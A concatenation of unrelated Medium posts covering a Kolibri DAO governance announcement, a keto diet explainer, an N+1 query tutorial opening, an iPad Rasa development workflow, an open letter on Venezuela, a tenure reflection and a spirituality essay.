If the contract is passed a lambda from the DAO, the Break Glass contract will execute the lambda as the governor of the protocol. This makes the break glass a direct proxy for the DAO contract.
However, the Break Glass is also controlled by a multisig. In case of emergency, the Multisig can “Break Glass” and ask the contract to revert control of the Kolibri protocol back to the multisig. This acts as an emergency button which could be used in case:
An unknown vulnerability is discover in the DAO or a Kolibri component which allows malicious users to gain control of the Kolibri protocol, or
A programming error in Kolibri DAO renders the DAO inoperable.
Philosophically, Hover Labs will never use this Break Glass functionality to block a governance proposal they disagree with. It’s a security control, and will never be used for anything else. We pledge to communicate across all standard communication platforms (Discord, Twitter, Agora) if we ever need to use it.
As before, the keys to the multisig are held by Hover Labs:
Keefer Taylor:
edpkuLh768382911CBbWkCN9joZkaZinKKeqPeMnxSoUb3X4TV7GpJ Luke Youngblood:
edpktxA2V59rHy8FyHyfkiayz3y4cTYBcTWpooKJnREgBzJzLV7ZMT Ryan Sears:
edpkuPu3FQqWPFTXRT21BBCy5pstVoM6ynwzz9SaFnr6TVrg5Z7GrK
Next Steps
As said previously — at any time, the DAO may elect to remove the Break Glass contract. This is done by asking the break glass contact to set the DAO as the direct governor of the Kolibri protocol. Hover Labs will absolutely not block this decision if it passes through the DAO at any time, even if that’s day 1.
In fact, Hover Labs supports the removal of the Break Glass mechanism as soon as reasonable. After a security audit has been completed any findings have been remediated and publicly disclosed, Hover Labs intends to submit a governance proposal to remove the Break Glass mechanism and lock ourselves fully out of the system, finally crossing the threshold into full decentralization. Hover Labs has begun sourcing a review and anticipates this work will be complete in the coming months.
Timeline
Hover Labs is currently finalizing our deployment plan and farm allocations. This blog post serves as a request for comments and an ability for the community to check our work, whether that is auditing The Kolibri DAO’s or Break Glass source code, checking our airdrop math or providing feedback on token distribution.
We’ve labored over many aspects of our decentralization and governance token distribution plan, and tried to explain our reasoning for everything above. If there’s something that’s not clear or an aspect you disagree with, please come join us in our Discord to discuss things. We’re planning on having this RFC period run for at least a week (May 27) to let the community digest it before taking the actual actions to switch the Kolibri Protocol’s control over to the DAO. As things progress, we’ll give updates via the same channels as we did previous governance proposals.
We know you’ll have questions. The best way to participate in the discussion is to join the new #decentralized-governance channel in our discord.
Developer Goodies
Almost all code used in this launch is generalizable and can be applied to other products built on Tezos. We’re proud to open source:
Murmuration DAO: A complete and generalizable DAO, including flash loan resistant governance token, DAO, community fund, and grant contracts, along with automated deployment scripts
Farming Contracts: A repository containing a generalizable farming contract and deployment scripts. Based on the great work from StakerDAO and Stove Labs.
FA1.2 Airdrop Scripts: The script that will be used to batch and airdrop kDAO. Based on the awesome work being done at StakerDAO.
Break Glass Contracts: The firewall proxy contracts used as a safety mechanism
Hover Labs loves when developers use our code. If you’d like help deploying any of our tools above, please contact us.
Thank You!
Thank you to the following who provided the tools, advice and feedback to create a working product. In alphabetical order:
Cryptonomic — For our deploy scripts
ECAD Labs — For Tezos Taquito, a Tezos SDK which powers Kolibri’s front end
Jacob Arluck, TQ Tezos — Governance advice and feedback
SmartPy — Who implemented feature requests and builds the most accessible smart contracting language on Tezos
StakerDAO — For helping to produce both the tezos airdrop scripts and the farming contracts
Stove Labs — for their awesome work on the farming contracts
TzStats — For providing API access that powers our Airdrop scripts
TzKt / BetterCallDev — For the awesome API that powers the airdrop scripts and a smart contract explorer that keeps us sane
And lastly, thank you to everyone who has engaged with the Kolibri protocol, the Kolibri community and Hover Labs. You drive us to keep building! | https://medium.com/@kolibri-xtz/announcing-kolibri-dao-6687eb528cb | [] | 2021-09-07 18:48:23.453000+00:00 | ['Kolibri', 'Tezos', 'Defi'] |
Protect your gear with these smart surge protectors at all-time lows | Great eaters and great sleepers are incapable of anything else that is great (Henry IV) | https://medium.com/@william67065207/protect-your-gear-with-these-smart-surge-protectors-at-all-time-lows-b9df93baf165 | [] | 2020-12-25 01:15:19.597000+00:00 | ['Mobile', 'Surveillance', 'Home Tech', 'Chromecast'] |
The Ketogenic Diet | Different types of ketogenic diets
Ketogenic diets come in a variety of flavors.
The ketogenic diet comes in a variety of forms, including:
The standard ketogenic diet (SKD) is a low-carbohydrate, moderate-protein, high-fat diet. It usually has 70 percent fat, 20 percent protein, and barely 10% carbohydrates (9Trusted Source).
The cyclical ketogenic diet (CKD) entails periods of increased carb refeeding, such as five ketogenic days followed by two high carb days.
The targeted ketogenic diet (TKD) permits you to eat carbs in between workouts.
The targeted ketogenic diet (TKD) permits you to eat carbs in between workouts. This ketogenic diet is comparable to a conventional ketogenic diet, however it contains extra protein. Typically, the fat-to-protein-to-carbohydrate ratio is 60% fat, 35% protein, and 5% carbohydrates.
Only the regular and high-protein ketogenic diets have been thoroughly researched. More advanced ketogenic diets, such as cyclical or targeted ketogenic diets, are largely employed by bodybuilders and athletes.
The majority of the material in this page relates to the standard ketogenic diet (SKD), but there are a few exceptions.
What is ketosis?
Ketosis is a metabolic condition in which your body burns fat instead of carbohydrates for energy.
It occurs when you drastically restrict your carbohydrate intake, decreasing your body’s availability of glucose (sugar), which is the cells’ primary source of energy.
The most effective strategy to enter ketosis is to eat a ketogenic diet. This usually entails restricting carb intake to 20 to 50 grams per day and focusing on fats such meat, fish, eggs, nuts, and healthy oils.
Click Here to special
It’s also crucial to keep your protein intake in check. This is because if you eat too much protein, it will be turned to glucose, which will slow down your ketosis.
Intermittent fasting may also help you enter ketosis more quickly. Intermittent fasting can take numerous forms, but the most popular strategy entails restricting food consumption to roughly 8 hours per day and fasting for the rest of the day.
There are blood, urine, and breath tests that may be used to see if you’ve entered ketosis by measuring the quantity of ketones your body produces.
Increased thirst, dry mouth, frequent urination, and decreased hunger or appetite are some of the signs that you’ve entered ketosis.
Ketogenic diets can help you lose weight
A ketogenic diet can help you lose weight and reduce your risk of disease.
In fact, evidence suggests that the ketogenic diet may be just as successful as a low-fat diet for weight loss.
Furthermore, because the diet is so satisfying, you can lose weight without monitoring calories or keeping track of what you eat.
Following a very low carb, ketogenic diet was marginally more beneficial for long-term weight loss than following a low fat diet, according to a study of 13 research. The keto diet resulted in an average weight loss of 2 pounds (0.9 kg) more than the low-fat diet group.
Additionally, it resulted in lower diastolic blood pressure and lipid levels. | https://medium.com/@myonlinebusiness57/the-ketogenic-diet-799bc7009f75 | ['Myonline Business'] | 2021-12-16 05:37:57.074000+00:00 | ['Ketogenic Diet', 'Ketogenic', 'Keto Diet For Weight Loss', 'Keto', 'Ketogenic Diet Meal Plan'] |
Understanding and fixing N+1 query | In this article, you’ll learn about the famous N+1 query that everybody is talking about, and how to fix and prevent them.
Regarding backend performance, there is a performance issue that everybody has heard about at least once: N+1 query. What you’ll hear less often is that baking a chocolate cake is a perfect analogy to explain it.
What’s a N+1 query?
TL;DR: The N+1 query problem happens when your code executes N additional query statements to fetch the same data that could have been retrieved when executing the primary query.
If you understood the previous statement, you can skip right to the next section: “How to fix it?”
If you did not understand the previous statement, don’t worry. We’ll sort it out together.
The recipe analogy
First, let put aside all those query, and SQL, and web application shenanigans, and imagine that you’d like to bake a cake.
For the sake of the example, let’s imagine that your fridge and pantry are not in your kitchen, but in your attic, forcing you to take the stairs anytime you’d like to fetch something out of the fridge.
Now, let’s imagine that you go to your bedroom to grab your cookbook, to find your chocolate cake recipe, and go back to your kitchen with it.
You check the first line:
200 grams of Dark Chocolate.
You go into your attic to fetch a tablet of chocolate, go back to the kitchen, and read the second line:
3 Eggs
Once again, you take the flight of stairs to fetch those 3 eggs, go back to the kitchen and read the next lines of the recipe:
100 grams of Butter
A bit exhausted by all those back and forth, you take the path to the attic, AGAIN. If only there was a simpler way…
What you would be experiencing, if you cooked this way, is exactly what happens when we have a N+1 query problem. Your ORM is forced by your code to do N additional queries (the round trips to fetch the ingredients) after the first initial query (when you fetched your recipe).
A concrete example
We’ll stay in the cooking business by considering a web application that displays a listing of cooking recipes like follow: | https://medium.com/doctolib/understanding-and-fixing-n-1-query-30623109fe89 | ['Alexandre Ignjatovic'] | 2020-07-15 11:33:33.079000+00:00 | ['Sql', 'Ruby', 'Software Development', 'Performance', 'Technology'] |
I built a Virtual Assistant on an iPad — here’s how I did it. | Building Virtual Assistants is tough. The work frequently includes some form of AI environment, bespoke servers for custom logic, caching servers and databases that provide dynamic content to your VA, etc. That leads, often, to a development environment that’s quite complex — not something for an iPad, you would think.
But it turns out, that with the help of some very cool apps, an iPad can be a surprisingly effective machine. I’d like to share with you how this seemingly impossible task can be achieved…
As the basis of our VA we can use Rasa, an open source conversational system. Rasa’s training data can be specified entirely in plain text files, which makes it especially malleable to being trained from an iPad (can you see where I’m going with this?)
Complex Virtual Assistants need careful change control and version management — they are big, complex pieces of software, after all. For this reason, at Humanise.AI we’re fond of plain text training data and dialog definitions that can be committed to, and managed within, Git. Graphical builders are nice, but are all too difficult to manage at scale. We’ve found that a Git-centric workflow is best when things get complex and big.
To support our use of Rasa, we’ll also be using four very special iPad apps. None of these apps is free, but they’re all top class and worth every penny. Make a purchase and you’ll be supporting indie app businesses, with your money going directly to those whose livelihoods depend on custom such as ours. I can personally testify for the quality of each of these apps — top class stuff!
The apps are:
Working Copy — a git client for iOS
Textastic — a text editor for iOS
Blink — an SSH and Mosh terminal for iOS
Secure ShellFish — integrates the file system of remote servers into your local iOS file system
I highly recommend a keyboard/trackpad case — Apple’s Magic Keyboard, or Logitech’s Combo Touch. Using the trackpad transforms the iPad — you can control everything from the keyboard.
🤖 Rasa
To get started, we first need to create a Rasa development environment on a computer (not our iPad). You might use your laptop for this, or you might choose to commission a server from one of the cloud providers like Amazon, Google, IBM, Digital Ocean, etc. As your Rasa model gets larger, training time can lengthen quite a bit on a simple laptop, so a cloud server is a good idea. You can even add GPUs to it, to further speed up training time, if you wish.
The Rasa installation guide will get you up and running.
We’re not going to be using the computer you install Rasa onto directly, rather we’ll be logging in to it remotely from our iPad. You can, of course, add miscellaneous additional servers as your needs dictate — a Redis cache, a database, etc. The sky’s the limit, as they say.
👨💻 Enabling remote login
Normally we’d log in remotely to a computer using SSH, but because we’re planning to do everything on an iPad, we’ll be using Mosh instead. SSH is great, but requires a stable network connection. Mobile devices have a habit of dropping network connections and iOS also has a habit of killing backgrounded apps (and thus the connetion). Mosh solves these problems and provides a rock-solid login that persists across network changes and our session being killed by iOS.
So, follow the instructions on the Mosh website to install that and activate remote log in on your computer. You’ll also need to open UDP ports 60000–61000 to allow the Mosh traffic through your firewall.
Once you’ve got Mosh setup and running, you can load the Blink app on your iPad. Enter the command config and you should be presented with a screen like this
From here you can setup your server by adding its IP address and login details. Blink can generate a public/private key pair and even load your public key onto your remote computer for you. This means that only the device holding your private key (in this case, your iPad) will be able to connect to your computer. Using a key is more secure than simple userId’s, as it avoids the risk of someone brute force guessing your password.
Once your public key is uploaded, exit the config dialog and enter mosh my-computer , where my-computer is the name you just setup in the blink config. If everything is working, you should be presented with a very exciting screen looking something like this, which means you’ve successfully logged in to your computer from your iPad 🙌
Now that we’re logged in to our computer from our iPad, we can issue the command rasa train to train our AI and then rasa shell to test it - all from an iPad!
Now that’s a good first step, but we also need to be able to edit our training data. For this, there are two slightly different workflows.
👋 Git-centric workflow
The git-centric workflow uses a git server (eg GitHub or GitLab) as the intermediary between your iPad and your computer.
In this workflow you clone your repository onto both your computer and iPad. Changes made on the iPad are pushed to git and then pulled to your computer.
This is made possible with Working Copy, a really excellent Git app for iOS. Using this you can clone your Rasa project, commit changes and push them back to your git server.
Even better, Working Copy is a file provider to the iOS Files app, meaning you can see your Git repository natively through the Files app and also apps like the excellent Textastic text editor.
Textastic is a rather special text editor, as it supports in-place editing. This means you can simply open a file from Working Copy in the app and it’s saved straight back to Working Copy when you make changes. Just choose ’Add External Folder’ and choose your Working Copy project.
I’ve found that a Git-centric workflow works really well.
🤝 Direct-editing workflow
The direct-edit workflow is a little different, and arguably easier, in that we don’t need an intermediary git server to move files between our computer and our iPad. Instead, we can edit files on our remote computer directly from our iPad. This is enabled through the Secure ShellFish app. Committing to git should very much still be part of our workflow — it’s just that we don’t need to use git to mediate between computer and iPad.
Secure ShellFish includes what I can only describe as black magic, in that it integrates files on a remote server into the local iOS file system.
Once we’ve setup our server in Secure ShellFish (it, too, can do the public/private key stuff for us), we can open files on our computer directly in Textastic on our iPad. When we make changes, those changes are saved to the original file on our remote computer.
The direct-editing workflow is also really very effective and a little simpler — so is currently my preferred approach.
📺 Summary
What’s remarkable about the apps I’ve mentioned is that they transform an iPad into a surprisingly effective device for development — even for building a sophisticated Virtual Assistant.
I don’t want to do everything on my iPad, but the freedom it provides is amazing. I don’t need a big screen and a noisy, hot computer on my lap all of the time. The ability to get things done with much less stuff is liberating — when travelling or on holiday (hopefully we’ll be able to do such exotic things again next year), for example.
When I think back to my university days, where I cut my programming chops on 80x24 green-screen character terminals, even the small screen size of an iPad can be considered a luxury! | https://duncsand.medium.com/yes-you-really-can-you-build-a-virtual-assistant-on-an-ipad-5fb7d0ea6848 | ['Duncan Anderson'] | 2020-12-01 15:39:12.019000+00:00 | ['iPad', 'Virtual Assistant', 'Rasa'] |
December Writing Tips, Recommended Stories, and Scripture Prompt | Learn more. Medium is an open platform where 170 million readers come to find insightful and dynamic thinking. Here, expert and undiscovered voices alike dive into the heart of any topic and bring new ideas to the surface. Learn more
Make Medium yours. Follow the writers, publications, and topics that matter to you, and you’ll see them on your homepage and in your inbox. Explore | https://medium.com/koinonia/december-writing-tips-recommended-stories-and-scripture-prompt-2243e5b24964 | ['Kimberley Payne'] | 2020-12-24 16:09:01.930000+00:00 | ['Writers On Writing', 'Recommended Reading', 'Writing Tips', 'Newsletter', 'Writing Prompts'] |
Open Letter to Rep. Ocasio-Cortez on Venezuela | Dear Representative Ocasio-Cortez,
I am one of your many fans. Your breakthrough in the 14th District of New York was historic; and your popularity is adding fuel to the fires of a crucial social democratic political challenge to neoliberal Democrats. I follow you on Twitter. I repost all your stuff to my Facebook friends. I tout you and others (Rep. Tlaib is from my state) as our last, best hope.
I am also a retired member of the armed forces with substantial Latin American experience (as one of many agents of imperialism). That is why I am expressing my disappointment with one of your remarks about Donald Trump’s so-called “state of the union” speech, in which you characterized the Venezuelan government of Nicholas Maduro as anti-democratic and “authoritarian.”
I realize you are swimming in the swift currents of national politics, and you can’t be expected to research everything, but you have been let down by your staff and advisers on the subject of Venezuela. I admit that it’s tough to tell the truth about Venezuela when the US ruling class has so effectively muddied the water, but that is what real leaders do. Discover the truth and tell it, even if you will be swimming in yet deeper, swifter waters. You are a leader now, a powerfully influential one, and that’s why I’m asking you to distinguish reality form propaganda.
I fall for clickbait sometimes, so I know we all make these kinds of mistakes. Yours have impact. This statement about Venezuela is a mistake. A big one.
The propaganda has worked, and that makes it harder. But we rely on leaders like you to be courageous enough to challenge even successful propaganda that is untrue. You owe that to yourself, your constituents, and the people of Venezuela who have long suffered at the hands of the class represented by Juan Guaidó — an upper class defined by whiter skin (Venezuelan society suffers from vile white supremacy), more money, and access to visas — the reason most Venezuelans in the US are anti-Bolivarian.
The only thing most of the Venezuelan elite hate more than indigenous Venezuelans are Afro-Venzuelans . . . and Chavez was both. So are the poor majority in Venezuela. Nicholas Maduro is the legitimately elected President of Venezuela. The United States government, in coordination with the racist Venezuelan ruling class, is the “opposition.”
Your specific remark was in response to the guilt-by-association fallacy now routinely employed by neoliberal Democrats as well as Republicans to tar “socialism.” You are reported to have said, “What we really need to realize is happening is that this is an issue of authoritarian regime versus democracy and in order for him to try to dissuade or throw people off the scent of the trail, he has to really make and confuse the public.” (italics added)
The problem here is that you yourself have now repeated a fallacious trope that has wrongly established President Maduro’s “guilt” in the minds of the public (by a neoliberal press) as an authoritarian. Only with this falsehood can the guilt-by-association fallacy (Maduro=socialism=economic ruin=authoritarianism) work. It becomes a false-guilt by association fallacy.
The fact is, both Maduro and his late predecessor, President Hugo Chavez, were repeatedly elected by Venezuelan majorities in internationally-validated elections. One tried and true technique employed by US coup makers is to foment enough street destabilization (manufactured social crisis) to provoke a police response, then spin the response as “authoritarian.” Establishment Democrats have been up to their necks in this skullduggery.
I know that the usual term for the Democratic establishment is “centrist,” but this is part of an illusion that the term “neoliberal” exposes; so I will begin with that, because the history of US-Venezuelan relations has been, ever since the neoliberal (read: late capitalist globalization) project began with the Reagan administration, a history of neoliberalism versus economic democracy and Venezuelan sovereignty.
Neoliberalism is globalization through debt and colonization of other countries’ home markets. In this hemisphere, we are seeing the neoliberal version of the Monroe Doctrine — the idea that the US essentially manages the affairs of the whole hemisphere through colonial surrogates. The Venezuelan ruling class is a US colonial surrogate. What is happening now in Venezuela is not made-in-Venezuela, it is the latest act in a coup attempt by the US that has been ongoing since Hugo Chavez won the Presidency in 1998 (taking office in 1999).
Philip Cerny explained neoliberalism this way:
<<Originally a label for a new form of nationally rooted transatlantic conservatism in the late 1970s and 1980s, neoliberalism was at first embodied primarily in the politics of Prime Minister Margaret Thatcher and the Conservative Party in the United Kingdom (UK) and of President Ronald Reagan and the Republican Party in the United States (US). It has often been seen as a revival of what has sometimes been called “classical liberalism” or “19th century liberalism” — i.e., a return to purer laissez faire principles and the ideology (and economic theory) of the self-regulating market. However, this is an oversimplification. Neoliberalism in its varieties, “free market conservative, neoliberal structuralist and neoliberal regulationist,” paradoxically includes an active role for the state in designing, promoting and guaranteeing the free and efficient operation of the market — a kind of imposed laissez faire somewhat analogous to Rousseau’s image of people being “forced to be free.”>>
Neoliberal theology asserts the primacy of the private, the value of small government; but neoliberal practice has been massively subsidized and legally protected from public accountability by the state. Without the state’s affirmative actions on behalf of the international business class, the system would collapse. Fast. Begin by thinking about how many battle groups from the US Navy are required to ensure the flow of fossil hydrocarbons into the industrialized metropolis, and you can extrapolate from there.
One of the key advantages of this “public-private” partnership that is neoliberalism is insulated from accountability to those below those institutions on the social hierarchy. The boundaries are blurred, via contracts and memoranda of understanding, between the US public sector — with its administrative apparatus, and its military and intelligence establishment with their vast budgets — and the private sector, composed of publicly funded “non-governmental organizations” (NGOs), think tanks, foundations, and an army of horizontally-integrated perception managers.
Those perception managers (MSNBC is one, every bit as much as Fox) have mass media as a conformity-producing web of influence that reaches right into the living rooms of a US culture that has 2.24 television sets, running an average of six hours and 47 minutes a day, 2,476 hours a year. To appreciate the latent power of television, realize that the average college class has a student in tow for three hours a week.
In terms of how the top of the pyramid relates to the base, this public-private alliance has the force of law in addition to a mobile redistribution of accountability. The people on the bottom are excluded from knowing who is the author of anything. We saw this mobile redistribution of accountability in action with the US-supported Honduran coup d’etat against democratically-elected President Manuel Zelaya . . . whose sin was to question neoliberal economics for Honduras. The transnational public-private alliance that authored the coup used this accountability shuffle to checkmate Zelaya and feint past the Organization of American States (OAS). This shell-game of accountability provides a coup alliance with enormous tactical agility. Bear this mobile accountability in mind as you read about coups themselves, in their (a) preparatory phase, their (b) execution phase, and their (c) consolidation phase.
The essential objectives of neoliberal policy are:
(1) to reduce obstacles to the penetration of other nations’ trade and capital markets and lock them when possible into debt-dependency,
(2) to establish and enforce neoliberal orthodoxy as the organizing principle of the state,
(3) to minimize “outcome-oriented” state intervention, e.g., poverty reduction, and stress state regulation that encourages economic “growth,” and
(4) to shift emphasis from government (identifiable and therefore subject to account) to governance (control is exercised by a meshwork of public and private agencies, under a regulatory regime, which become less identifiable, i.e., less targetable from below for accountability).
These are the goals, likewise, of neoliberal coups like the one being tried now in Venezuela.
Who benefits from this often impenetrable regulatory regime? From 1983 until 2007, according to a study by sociologist G. William Dumhoff, net worth distribution between the wealthiest quintile (20%) of the population and the other four quintiles combined (80%), changed from 81.3% of the wealth held by the top quintile to 85.1 percent of the wealth. In the same period, the bottom 80% went from holding 18.7% of the wealth to 15%. Today, in the US, the top one percent holds 40 percent of American wealth, and almost all the political power.
See, you know this stuff, but you may not have studied its history in Venezuela. Henceforth, please study the history of neoliberalism in any other country before you say things you hear from MSNBC — a neoliberal news outlet that is a fully owned subsidiary of the Democratic Party neoliberal establishment. Neoliberalism has effected a net transfer of wealth upward, beginning in the late 70s and early 80s. The transfer of wealth from poor countries to rich ones has been even more accelerated.
Neoliberalism is the current system to achieve continuity of elite, and imperial, power. But imperial power has always had a core-periphery dynamic, that is, a powerful core — a nation or alliance of nations — that rely on the exploitation of peripheries to maintain their dominance. I couldn’t type on this computer if it were not for cobalt from the Democratic Republic of Congo, iron from Brazil (another coup state now), palladium from Botswana, gold from Costa Rica, copper from Chile, selenium from the Philippines, zinc from Peru, silver and antimony from Mexico, chromium, manganese, and platinum from South Africa, and aluminum, arsenic, barium, cadmium, lead, and mercury from China — all gained through unequal exchange.
Core nation elites value stability, and sharing some of the surplus from exploitations abroad with one’s domestic political base is one way a domestic population is invested in an unequal core-periphery dynamic. A measure of shared imperial privilege across class lines consolidates the core’s political base. It was that way in imperial Rome. It is that way today. An average American — even though well down on the champagne glass as it represents the US population — still consumes vastly more than the average Congolese or Filipino or Peruvian or Chinese. We are awarded a share of imperial privilege as a hedge against social unrest. And we are fed propaganda to “other” those abroad who resist the neoliberal order.
The anti-austerity programs promoted by you and other social democrats (I’m all in for Sanders again) are essentially anti-neoliberal.
Neoliberalism emerged in response to a deep secular crisis of capitalism, first with the stagflation of the 70s, followed by the Latin American debt crisis of the 80s, followed by the serial catastrophes of the 90s — with Latin America, East Asia, Turkey, Russia — and culminating in the 2000s, with the dotcom bust and the magical exploding real estate bubble that hasn’t finished with us yet (it’s consequences are being delayed and increased in eventual severity by something called “quantitative easing”). Neoliberalism is embedded in crisis. Neoliberalism, for all its triumphal rhetoric about “the end of history” and “there is no alternative,” has actually been a protracted period of capitalist crisis management. Capital accumulation for the ruling class is threatened when expansion is contained, and so they keep grabbing for more, more more. To justify it, they use ideology.
Neoliberal ideology is the sum of the public arguments in defense of the practice of neolibealism, and the repetition of those arguments until they appear axiomatic.
Ideology is defined as “an orientation that characterizes the thinking of a group or nation,” but the main thing to remember is that successful ideology appears as mere common sense. The claims of ideology are not fashioned to represent actual practices.
The purpose of ideology — if public understanding of the practice is likely to engender resistance to power — is to simultaneously conceal that power and ensure that same concealed power’s day-to-day reproduction.
The narrative that Maduro and the Bolivarian movement are authoritarian is an ideological, not a factual, claim.
The H-Word
Dominant ideologies are “hegemonic,” meaning that most people have so internalized the basic assumptions of the ideology that they are seen as “common sense,” placing those assumptions beyond any critical intervention. Hegemonic ideas and practices are embedded in culture. Successful ideology is hegemonic ideology. The actual rules no longer require external persuasion or force; they have been extensively internalized by most people as “the way things are.” The Maduro-authoritarian narrative is hegemonic.
Neoliberal arguments, because they are hegemonic, sound very familiar. They are about the hidden hand of the market, and how it shakes society out as a just and flourishing meritocracy. “Free market” is a kind of benevolent god that we ought to thank for its abundance. And neoliberalism discursively constructs itself as inevitable: Maggie Thatcher’s claim, “There is no alternative.” The TINA-fallacy. Neoliberal language is obfuscatory.
The Honduran coup was a “constitutional crisis,” and the current coup attempt against Venezuela is “authoritarianism versus democracy.”
No caigas en ese truco, querida Diputada.
Ideological givens are then available to support propaganda — and propaganda is a weapon during military-political operations, like coups d’etat. Propaganda is one weapon in a coordinated attack, and not representative of any species of truth. Truth is incidental to public pronouncements by governments and institutions. The purpose of official public pronouncements is not representative, but persuasive. Official sources aren’t aiming at the truth, unless it is incidental. They are aiming at your support or acquiescence about what they are doing. We want you to break that pattern, not replay it.
The motive behind neoliberalism is perpetuation of ruling class power and American international power, and the mechanics are fourfold: capture competitor nations in an American-dominated system, exploit the markets of weaker nations, ensure net flows of wealth from peripheral nations to sustain US consumption, and lock peripheral nations into debt and dependency as leverage to control how they do business.
It was this system that Hugo Chavez and the Bolivarian movement challenged, and opposition to neoliberalism is precisely what put this movement in the gunsights of the US ruling class and its colonial surrogates in Venezuela. Because it is not the popular leaders (like Zelaya, Chavez, Aristide) that are the primary threat. They focus the threat, and thereby increase it, but the real threat is popular rule. The coup in progress in Venezuela is not against Maduro, per se, but against the majority of poor, non-white Venezuelans.
If this propaganda works, the people will resist, and all in the resistance are already pre-demonized by precisely the kind of propaganda you have been clickbaited into repeating. And mark my words, if that resistance is met with a US invasion, it could turn into a bloodbath. The overwhelming majority of Venezuelans will oppose it, and many will actively fight. I have been to Venezuela, seen the racial/class hierarchy up close, drank Polarcitas with them into the wee hours over pollo asado, and walked the mountains with them. They will not back down. They will never accept a foreign army. And a good deal of the armed forces are loyal to the Venezuelan Constitution — the military stopped the last overt US coup attempt in 2002.
Do any of us want to be complicit in this? Do not repeat the assertions that are paving the way.
The coup in progress is not just Trump; it is Bill Clinton, George W. Bush, Barack Obama, and Donald Trump. It is part and parcel of the neoliberal program, the very same one you are opposing here in the US. That program has been continuous. It is a program of systematic, progressive destabilization. Economic destabilization, social destabilization, and security destabilization. All three of these programs have been carried out through economic warfare, propaganda, and US-funded intermediaries.
Please take note, Representative Ocasio-Cortez, that this is not a question of authoritarianism versus democracy, but a question of whether the US ought to determine the future of the people of Venezuela. Please do more to learn about them before you mischaracterize the situation there again.
We all make mistakes. The best of us admit them, learn from them, and move on to make new mistakes. The struggle you and I are in together in the US is the same one as those Venezuelans who have invested their hope in the Bolivarian project, warts and all.
We are the global anti-austerity movement, the fight against neoliberalism.
With great respect and my continued support,
Stan Goff | https://medium.com/@stangoff/open-letter-to-rep-ocasio-cortez-on-venezuela-98169c5f7561 | ['Stan Goff'] | 2020-01-25 15:57:29.188000+00:00 | ['Hegemony', 'Venezuela', 'Politics', 'Propaganda', 'Alexandria Ocasio Cortez'] |
Tenure at Illinois: a Learning and Labor of Love Letter | 2020 was a Dickensian year for me: it was the worst of times, it was the best of times. It was the year of the pandemic, widespread civil injustice, raging forest fires, and an election that tested the fabric of American democracy. It was also the year I got tenure.
My parents and I in my office in Siebel Center, on my first day as a faculty member in 2014.
A close mentor at MIT once told me, “tenure shouldn’t exist…so if you get it, never give it up.” Academic tenure is one of the last, inviolate bastions of intellectual freedom in modern society. I’m extremely lucky — and privileged — to be granted the opportunities it affords.
So how will tenure change my approach to my work? Very little, thanks to the Computer Science Department at the University of Illinois.
Starting my academic career, I was impatient: there were dozens of weird, unconventional ideas I wanted to explore. When I’d talk about them with colleagues, a common refrain quickly developed: “you should wait until you get tenure.” But my department never said that to me: not once. As a junior faculty member, I probably did everything the unwritten tenure playbook says you are not supposed to do: start a company, create your own field, work on multi-year research projects, spend almost no time writing grants, wear couture pajamas to class, collaborate closely with your significant other.
When I was on the job market, I asked all the schools I interviewed at how they made tenure decisions. Most mentioned publication records, reference letters, and metrics like citation count and h-index. When I visited Illinois, John Hart said something different:
“It’s simple. We award tenure based on impact: we want to see that you’ve put your unique stamp on the world. As long as you do that, we’ll be happy…and there are lots of ways to measure it.”
I’ve never forgotten what John said, but what’s even more striking in hindsight is that it turned out to be true. I was always a reluctant academic: the inexorable “publish or perish” rat race held little allure for me. The idea of putting my passions on hold for six or nine years to garner citations seemed to vitiate the very freedoms a tenure-track job promised. But I could get behind measuring impact.
My research is about design. David Kelley, the founder of IDEO, defines design as “a process of making impact on the world by doing this kind of creation of something new to the world and then getting it out there.” The last bit — getting it out there — is the hardest part: it requires constant vigilance, doesn’t increase your publication/citation count, and often results in failure (after three years and two-and-a-half million dollars, I had to shut my startup down). But that’s the impact I care about: creating things that real people use, and derive value from.
In my career, I’ve found a number of ways for an academic to get work out there: found a startup, open-source code and data, release an app, partner with industrial researchers, or productize your research at an established company. I’m fortunate that my department has been my loudest cheerleader along the way: publicizing my startup’s fundraise, my collaboration with Jeff Nichols at Google to release the world’s largest repository of mobile app designs, and even the proposal that resulted in the addition of the bubble tea emoji 🧋 to the Unicode 13 standard. When I requested leave this year to join UserTesting as their Chief Research Scientist to productionize my latest design-mining work, my department chair never suggested that I should wait until my tenure case had been decided.
Academia is a paradox. Contrarian ideas are so often the kernel of innovation, but the academy’s pressure to conform is real. So why go against the grain? ’Cause it was all that rang true. The truth is, this is the only way I know how to be.
During this season of giving thanks — in a year where things to be thankful for are in short supply — I want to express my gratitude to the University of Illinois, my department, my students, and my colleagues, for encouraging me to be a faculty member on my own terms.
Founded in 1867, the University’s motto is “Learning and Labor.” For me, it has been a labor of love. 💌 | https://medium.com/@ranjitha/tenure-at-illinois-53cdf2106e56 | ['Ranjitha Kumar'] | 2020-11-26 21:51:14.805000+00:00 | ['Computer Science', 'Academia', 'Tenure', 'Hci', 'University Of Illinois'] |
Unlimited Power From Within Is Yours If You Will Choose It | I have been searching, looking for a deep connection with God since FOREVER!
Maybe, I was a lonely child…
Maybe, I felt powerless around the crazy events of my life…
Maybe, I just ALWAYS knew there was more, so much more to our existence on this planet than just what met the eye…
Whatever…
I just knew I longed for intimacy with God.
To be connected to something much bigger than just I.
And I still long to go ever deeper…
Beyond rules, regulations, traditions that are just man’s way of relating to something beyond their own understanding and also, for some men, religion becomes a form of control. How else can you keep people toeing the party line except to feed them fear of punishment if they step out of line or a glorious reward if they don’t?
We see the effects of this nonsense in the world we live in…
People willing to do anything to ensure that the next life is glorious…
But what of this life?
What of now?
I sometimes wonder how many people would walk away from religious institutions if they suddenly realised that there was no hell to be afraid of and no heaven to look forward to.
Would they still care for relationship with the Divine?
(Right now, you are creating heaven and hell for yourself… You don’t need to wait until you die!)
I still want intimacy…
I still choose connection…
And I choose to strip away every man-made structure that gets in the way of my relationship with the Divine.
It is scary to do this as I too was brought up on a diet of fear and every so often, I forget to just go straight to Source and find out what He is saying to me.
And that, honey, is where my power lies…
In connection.
That is where your power lies too…
In connection.
I went through a phase where I felt that being spiritual made me weak…
You are supposed to speak in soft tones when you are spiritual
And I don’t always speak softly!
You are supposed to sit on your awesome arse waiting for salvation to come find you when you are spiritual
And I can be fierce, pushing every door in my path, seeking out EVERYTHING NOW, not later…
You are supposed to ‘wait on the Lord’ when you are spiritual…
And like I said, I want EVERYTHING NOW, not later!!!!
I was scared of mentioning Spirit / God in business as people might think I am loopy…
And I cared too much what others thought of me…
